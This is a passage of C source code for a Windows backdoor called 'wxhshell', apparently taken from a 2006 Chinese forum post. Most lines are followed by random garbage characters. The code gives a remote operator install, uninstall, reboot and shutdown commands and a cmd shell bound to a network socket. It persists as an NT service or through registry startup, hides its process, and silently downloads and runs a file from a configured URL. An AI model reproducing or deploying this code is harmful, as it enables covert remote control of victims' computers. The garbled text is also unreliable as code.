wS%Q<uK  
    switch(cmd[0]) { eA#;AQm  
  T3k#VNH  
  // 帮助 4A_[PM  
  case '?': { A1.7 O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zmSUw}-4 N  
    break; _Em.  
  } ><gG8MH0'  
  // 安装 pKit~A,Q  
  case 'i': { bT^I"  
    if(Install()) 5 u*-L_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'H \9:7  
    else 4:r!|PJn{G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HbXPok  
    break; Z@]e{zO  
    } . r[Hu40p  
  // 卸载 +f@U6Vv  
  case 'r': { cd$m25CxC  
    if(Uninstall()) a{ ?`t|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {TX]\ufG  
    else I?ae\X@M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ti}CwI`  
    break; kPF9Z "l  
    }  (Q.waI  
  // 显示 wxhshell 所在路径 L IZRoG8  
  case 'p': { ha(Z<  
    char svExeFile[MAX_PATH]; .y@oz7T5  
    strcpy(svExeFile,"\n\r"); YKO){f5  
      strcat(svExeFile,ExeFile); ;#oie< Vit  
        send(wsh,svExeFile,strlen(svExeFile),0); `Ye\p6v!+  
    break; <8d^^0  
    } UrYZ` J  
  // 重启 QlO0qbG[y  
  case 'b': { RPE5K:P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vK _?<>  
    if(Boot(REBOOT)) a hR ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A-T]9f9  
    else { 2JJ"O|Ibz  
    closesocket(wsh); V3c l~  
    ExitThread(0); Ah k8  
    } E#u l IgD  
    break; }^/9G17  
    } c@/(B:@  
  // 关机 1oN^HG6O  
  case 'd': { ENGg ~D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;9#Z@]p  
    if(Boot(SHUTDOWN)) ev#;t@^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V&Xe!S  
    else { -3;*K4z$/  
    closesocket(wsh); V- Cv,8   
    ExitThread(0); .zn;:M#T  
    } Db;G@#x  
    break; YRh  B RE  
    } Y6Lf@}2(i  
  // 获取shell ]8 f ms(  
  case 's': { +(C6#R<LI  
    CmdShell(wsh); B, TB3 {  
    closesocket(wsh); WXmn1^"kK}  
    ExitThread(0); vfq%H(  
    break; ds?v'|  
  } lJE93rXU  
  // 退出 59O?_F9  
  case 'x': { )0Me?BRp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ aHVs  
    CloseIt(wsh); U2ZD]q  
    break; \9/ b!A  
    } O'W0q;rT  
  // 离开 Yx eOI#L  
  case 'q': { ~wJFa'2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8erSt!oM  
    closesocket(wsh); >|twyb  
    WSACleanup(); " QWq_R  
    exit(1); )tl.s)"N  
    break; +TQ47Z c  
        } yp66{o  
  } {3.r6ZwCn  
  } OU/MiyP2  
>]W)'lnO  
  // 提示信息 j{Txl\D>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8AnP7}n;?'  
} m"o ;L3  
  } q~*t@  
|m80]@>  
  return; XI9js{p  
} unBy&?&p  
'rr^2d]`ST  
// shell模块句柄 Q)LM-ZJKQ  
int CmdShell(SOCKET sock) hED=u/ql[  
{ #3_*]8K.R  
STARTUPINFO si; XwlbJ=mf  
ZeroMemory(&si,sizeof(si)); T`Mf]s)*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; av$/Om :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h3Q21D'f  
PROCESS_INFORMATION ProcessInfo; _ h": >  
char cmdline[]="cmd"; 9Iz%ht  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hb^7oq"a  
  return 0; "V$Bnz\n  
} w*|7!iM  
{WPobP"  
// 自身启动模式 Qbyv{/   
int StartFromService(void) qfK`MhA}  
{ '*k'i;2/1  
typedef struct tWoh''@#  
{ GF5^\Rf  
  DWORD ExitStatus; T9u<p=p  
  DWORD PebBaseAddress; QNxl/y\l0  
  DWORD AffinityMask; $.GOZqMs  
  DWORD BasePriority; <]b7ZF]  
  ULONG UniqueProcessId; a)#1{JaoY  
  ULONG InheritedFromUniqueProcessId; k}0^&Quc4  
}   PROCESS_BASIC_INFORMATION; ijdXU8  
<F.Tx$s  
PROCNTQSIP NtQueryInformationProcess; JGH60|  
DNj "SF(J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2w-51tqm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hx\H $Y  
h<SQL97N  
  HANDLE             hProcess; Ko/ I#)  
  PROCESS_BASIC_INFORMATION pbi; jMN[J|us51  
Xixqxm*8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,$ ^C4I  
  if(NULL == hInst ) return 0; aN $}?  
+C(/ Lyo}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EB_NK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d R]Q$CJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o`q_wdy?  
_dJ{j   
  if (!NtQueryInformationProcess) return 0; <1.A=_ M  
ulER1\W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "eWYv3z~-  
  if(!hProcess) return 0; nE^Qy=iE  
,ML[Wr'2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I~9hx*!%%  
E)9yH\$6  
  CloseHandle(hProcess); DANw1 _X\  
)h8\u_U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QtJg ^2@  
if(hProcess==NULL) return 0; y T#{UA^  
9gEssTkts  
HMODULE hMod; Myq5b`z  
char procName[255]; _+^ 2^TW  
unsigned long cbNeeded; S9>0t0  
acw4B5]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }QsZ:J.  
2d {y M(=(  
  CloseHandle(hProcess); sqS=qC  
XxaGp95so  
if(strstr(procName,"services")) return 1; // 以服务启动 ~35U]s@v  
/2HN>{F^Y  
  return 0; // 注册表启动 Cc, `}SP  
} 7zv1 wb  
]+m/;&0  
// 主模块 m/@<c'i  
int StartWxhshell(LPSTR lpCmdLine) 9Y<#=C  
{ ]d]JXt?)i  
  SOCKET wsl; UEzb^(8>  
BOOL val=TRUE; , E$@=1)  
  int port=0; !QT'L,_  
  struct sockaddr_in door; 2"d!(J6}K  
u]ZqOJXxu  
  if(wscfg.ws_autoins) Install(); KV*xApb9y  
}irn'`I  
port=atoi(lpCmdLine); DS%\SrC  
/De^  
if(port<=0) port=wscfg.ws_port; @5[kcU>  
]Y| 9?9d  
  WSADATA data; f5GdZ_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Z;jY*  
*\o/q[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \^V`ds*.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !2|=PB' M  
  door.sin_family = AF_INET; [M%9_CfZOy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p*8-W(u)  
  door.sin_port = htons(port); .<K iMh  
3tmdi3s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #%FN>v3e  
closesocket(wsl); 3w!c`;c%  
return 1; n?:=  
} 3J=Y9 }  
dna6QV>A  
  if(listen(wsl,2) == INVALID_SOCKET) { N|Sf=q?Ko  
closesocket(wsl); Go&D[#  
return 1; fbkd"7u  
} ,\aUq|~  
  Wxhshell(wsl); !gmH$1w  
  WSACleanup(); &l?+3$q  
B<~U3b  
return 0; 62>zt2=  
P\&! ]  
} !8@*F  
0iZGPe~  
// 以NT服务方式启动 ~kCwJ<E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \M"UmSB o  
{ 4W#E`9 6u  
DWORD   status = 0; 6ITLGA  
  DWORD   specificError = 0xfffffff; *E~VKx1  
s ncIqsZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jkF8\dR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cFagz* !  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TbehR:B5g  
  serviceStatus.dwWin32ExitCode     = 0; P(>(K{v  
  serviceStatus.dwServiceSpecificExitCode = 0; iHp\o=#  
  serviceStatus.dwCheckPoint       = 0; 4"vaMa  
  serviceStatus.dwWaitHint       = 0; M@thI%lR  
9F^;!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b`_w])Y@  
  if (hServiceStatusHandle==0) return; &VBd~4|p  
5`<eKwls  
status = GetLastError(); s:Akk kF  
  if (status!=NO_ERROR) ZCg`z  
{ $oLU; q%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pU!o7>p  
    serviceStatus.dwCheckPoint       = 0; 3[XQR8o  
    serviceStatus.dwWaitHint       = 0; h)v^q: ='  
    serviceStatus.dwWin32ExitCode     = status; ^MmC$U^n  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Z8vdU#l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%Y~~'5 h  
    return; dxj*Q "K  
  } ==cd>03()  
60Z]M+8y8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?Mp1~{8  
  serviceStatus.dwCheckPoint       = 0; E&B{5/rv  
  serviceStatus.dwWaitHint       = 0; to6;?uC+|i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SjdZyJa  
} 3g~^LZ66  
$iM=4 3W  
// 处理NT服务事件,比如:启动、停止 QI_59f>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]/T -t1D  
{ ofW+_DKB?l  
switch(fdwControl) 5=KF!?  
{ h~7,`fo  
case SERVICE_CONTROL_STOP: jFerYv&K~  
  serviceStatus.dwWin32ExitCode = 0; PVa o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LihjGkj\g  
  serviceStatus.dwCheckPoint   = 0; (H?ZSeWx  
  serviceStatus.dwWaitHint     = 0; = c~I .  
  { gNx+>h`AF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZT)pP  
  } _B,_4}  
  return; 9B)(>~q  
case SERVICE_CONTROL_PAUSE: @gSkROCdC)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {[(pWd%J  
  break; X;!D};;M  
case SERVICE_CONTROL_CONTINUE: +@VYs*&&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y5 m!*=`l`  
  break; :o"8MZp  
case SERVICE_CONTROL_INTERROGATE: ZB5?!.ND  
  break; MF[z -7  
}; 5A&y]5-Q`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V8O.3fo`[`  
} &!35/:~uD  
Ih1|LR/c  
// 标准应用程序主函数 #\bP7a +  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XtBMp=7Oa  
{ dZ :r&Qa  
nE y]`  
// 获取操作系统版本 tk/`%Q  
OsIsNt=GetOsVer(); *(cU]NUH_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YYRT.U'  
!ax;5@J  
  // 从命令行安装 gUB{Bh($Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); K%}}fw2RMN  
,M3z!=oIGn  
  // 下载执行文件 z#<P} }  
if(wscfg.ws_downexe) { ~DLIzg7p!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'Zk<l#"}  
  WinExec(wscfg.ws_filenam,SW_HIDE); _eLVBG35z  
} HBLWOQab  
G5Q!L;3HZ  
if(!OsIsNt) { 'nK~'PZ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 PdY>#Cyh  
HideProc(); MY-.t-3  
StartWxhshell(lpCmdLine); >Csbjf6  
} ^Y^"'"  
else YDiN^q7  
  if(StartFromService()) {@M14)-x>_  
  // 以服务方式启动 z^s ST  
  StartServiceCtrlDispatcher(DispatchTable); ,m07p~,V  
else !v !N>f4S$  
  // 普通方式启动 iUr xJh  
  StartWxhshell(lpCmdLine); b"8FlZ$  
8U.$FMx :  
return 0; i#,1i VSG  
}
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只看该作者 1 发表于: 2006-10-10
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